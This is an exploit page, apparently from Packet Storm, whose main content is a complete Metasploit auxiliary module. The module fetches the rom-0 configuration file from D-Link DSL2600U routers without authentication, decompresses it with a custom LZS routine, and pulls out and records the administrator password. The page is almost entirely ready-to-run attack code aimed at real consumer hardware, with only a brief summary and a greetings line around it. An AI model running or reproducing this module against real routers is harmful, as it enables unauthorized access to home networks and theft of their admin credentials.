Share
## https://sploitus.com/exploit?id=PACKETSTORM:223705
==================================================================================================================================
| # Title : D-Link DSL2600U rom-0 Admin Password Disclosure |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.dlink.com |
==================================================================================================================================
[+] Summary : a vulnerability in D-Link DSL2600U routers (firmware version v1.08) that allows unauthenticated attackers to download the `rom-0` configuration file containing the administrator password.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'D-Link DSL2600U rom-0 Admin Password Disclosure',
'Description' => %q{
This module exploits a vulnerability in D-Link DSL2600U routers
(firmware version v1.08) that allows unauthenticated attackers
to download the `rom-0` configuration file containing the
administrator password. The `rom-0` file is compressed using
LZS compression. After decompression, the admin credentials
can be extracted in cleartext.
This vulnerability affects D-Link DSL-2600U routers and potentially
other D-Link models that expose the `rom-0` file.
},
'Author' => ['indoushka'],
'References' => [
['URL', 'https://github.com/amirhosseinjamshidi64'],
['URL', 'https://www.dlink.com']
],
'DisclosureDate' => '2026-05-02',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The path to the rom-0 file', '/rom-0']),
OptString.new('OUTPUT_FILE', [false, 'Save decompressed rom-0 to file']),
OptBool.new('EXTRACT_CREDS', [true, 'Extract credentials from decompressed data', true])
])
end
class LZSDecompress
def self.decompress(data)
return nil if data.nil? || data.empty?
output = ''
idx = 0
data_len = data.length
while idx < data_len
ctrl = data[idx].unpack('C')[0]
idx += 1
if ctrl == 0
output << "\x00"
next
end
if ctrl & 0x80 == 0
count = ctrl & 0x1F
if count == 0
count = 31
end
if idx + count > data_len
count = data_len - idx
end
output << data[idx, count]
idx += count
else
if ctrl & 0x40 == 0
offset = ((ctrl & 0x1F) << 8) | data[idx].unpack('C')[0]
count = ((ctrl >> 5) & 0x03) + 2
idx += 1
if offset > output.length
offset = output.length
end
start_pos = output.length - offset
if start_pos >= 0 && start_pos < output.length
(0...count).each do |i|
pos = start_pos + i
if pos < output.length
output << output[pos]
else
output << "\x00"
end
end
else
output << "\x00" * count
end
else
offset = ((ctrl & 0x3F) << 8) | data[idx].unpack('C')[0]
count = ((ctrl >> 2) & 0x0F) + 3
idx += 1
if offset > output.length
offset = output.length
end
start_pos = output.length - offset
if start_pos >= 0 && start_pos < output.length
(0...count).each do |i|
pos = start_pos + i
if pos < output.length
output << output[pos]
else
output << "\x00"
end
end
else
output << "\x00" * count
end
end
end
end
output
rescue => e
vprint_error("LZS decompression error: #{e.message}")
nil
end
end
def fetch_rom0
uri = normalize_uri(target_uri.path)
print_status("Downloading #{uri} from #{peer}")
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
if res && res.code == 200
print_good("Successfully downloaded rom-0 file (#{res.body.length} bytes)")
return res.body
else
print_error("Failed to download rom-0 file: HTTP #{res&.code || 'no response'}")
return nil
end
end
def extract_credentials(decompressed_data)
credentials = []
patterns = [
/(?:password|pass|admin_password|adminpass)[\s]*[=:][\s]*["']?([^"'\s,]+)/i,
/"password"\s*:\s*"([^"]+)"/i,
/'password'\s*:\s*'([^']+)'/i,
/<password>([^<]+)<\/password>/i,
/admin[_-]?password[_-]?[\s]*[=:][\s]*["']?([^"'\s,]+)/i,
/(?:user|admin)[\s]*[=:][\s]*["']?([^"'\s,]+)/i
]
cred_pattern = /([a-zA-Z0-9_]+)[\s]*[=:][\s]*([a-zA-Z0-9_!@#$%^&*]+)/i
decompressed_data.scan(cred_pattern) do |match|
if match[0] =~ /(user|admin|root|password|pass)/i
credentials << { username: match[0], password: match[1] }
end
end
patterns.each do |pattern|
decompressed_data.scan(pattern) do |match|
if match.is_a?(Array)
credentials << { type: 'password', value: match[0] }
else
credentials << { type: 'password', value: match }
end
end
end
admin_patterns = [
/admin[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i,
/Administrator[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i,
/root[:\s]+([a-zA-Z0-9_!@#$%^&*]+)/i
]
admin_patterns.each do |pattern|
match = decompressed_data.match(pattern)
if match
credentials << { type: 'admin_password', value: match[1] }
end
end
credentials.uniq
end
def find_admin_password(decompressed_data)
match = decompressed_data.match(/pwdAdmin\s*=\s*"([^"]+)"/i)
return match[1] if match
match = decompressed_data.match(/admin_password\s*=\s*([^\s]+)/i)
return match[1] if match
match = decompressed_data.match(/"password"\s*:\s*"([^"]+)"/i)
return match[1] if match
lines = decompressed_data.split("\n")
lines.each do |line|
if line =~ /admin/i && line =~ /(=|:)/i
parts = line.split(/[=:]/)
if parts.length >= 2
candidate = parts[1].strip.gsub(/["']/, '')
if candidate.length >= 4 && candidate.length <= 32
return candidate
end
end
end
end
nil
end
def save_output(data, filename)
begin
File.open(filename, 'wb') do |f|
f.write(data)
end
print_good("Saved output to #{filename}")
return true
rescue => e
print_error("Failed to save output: #{e.message}")
return false
end
end
def run_host(ip)
print_status("D-Link DSL2600U - rom-0 Admin Password Disclosure")
print_status("Target: #{peer}")
rom0_data = fetch_rom0
if rom0_data.nil? || rom0_data.empty?
print_error("Could not retrieve rom-0 file")
return
end
if datastore['OUTPUT_FILE']
save_output(rom0_data, "#{datastore['OUTPUT_FILE']}.raw")
end
print_status("Decompressing LZS data...")
decompressed_data = nil
offsets_to_try = [0, 8568, 1024, 2048, 4096, 8192]
offsets_to_try.each do |offset|
if offset < rom0_data.length
vprint_status("Trying decompression at offset #{offset}")
decompressed = LZSDecompress.decompress(rom0_data[offset..-1])
if decompressed && decompressed.length > 100
decompressed_data = decompressed
print_good("Successfully decompressed data from offset #{offset} (#{decompressed_data.length} bytes)")
break
end
end
end
if decompressed_data.nil? || decompressed_data.empty?
decompressed_data = LZSDecompress.decompress(rom0_data)
if decompressed_data && decompressed_data.length > 100
print_good("Successfully decompressed entire file (#{decompressed_data.length} bytes)")
else
print_error("Failed to decompress rom-0 data")
return
end
end
if datastore['OUTPUT_FILE']
save_output(decompressed_data, datastore['OUTPUT_FILE'])
end
if datastore['EXTRACT_CREDS']
print_status("Extracting credentials from decompressed data...")
admin_password = find_admin_password(decompressed_data)
if admin_password
print_good("Found admin password: #{admin_password}")
report_cred(
host: ip,
port: datastore['RPORT'],
service_name: 'http',
user: 'admin',
private_data: admin_password,
private_type: :password,
source_id: 'dlink_rom0_disclosure'
)
else
credentials = extract_credentials(decompressed_data)
if credentials.empty?
print_warning("No credentials found in decompressed data")
readable_strings = decompressed_data.scan(/[ -~]{8,}/)
if readable_strings.any?
print_status("Found readable strings that might contain credentials:")
readable_strings.each do |str|
if str =~ /[a-zA-Z0-9]{6,}/ && str.length >= 6 && str.length <= 32
print_status(" Possible credential: #{str}")
end
end
end
else
print_good("Found #{credentials.length} potential credential(s):")
credentials.each do |cred|
if cred[:username] && cred[:password]
print_status(" #{cred[:username]} : #{cred[:password]}")
report_cred(
host: ip,
port: datastore['RPORT'],
service_name: 'http',
user: cred[:username],
private_data: cred[:password],
private_type: :password
)
elsif cred[:value]
print_status(" Password found: #{cred[:value]}")
report_cred(
host: ip,
port: datastore['RPORT'],
service_name: 'http',
user: 'unknown',
private_data: cred[:value],
private_type: :password
)
end
end
end
end
end
print_good("Exploit completed")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================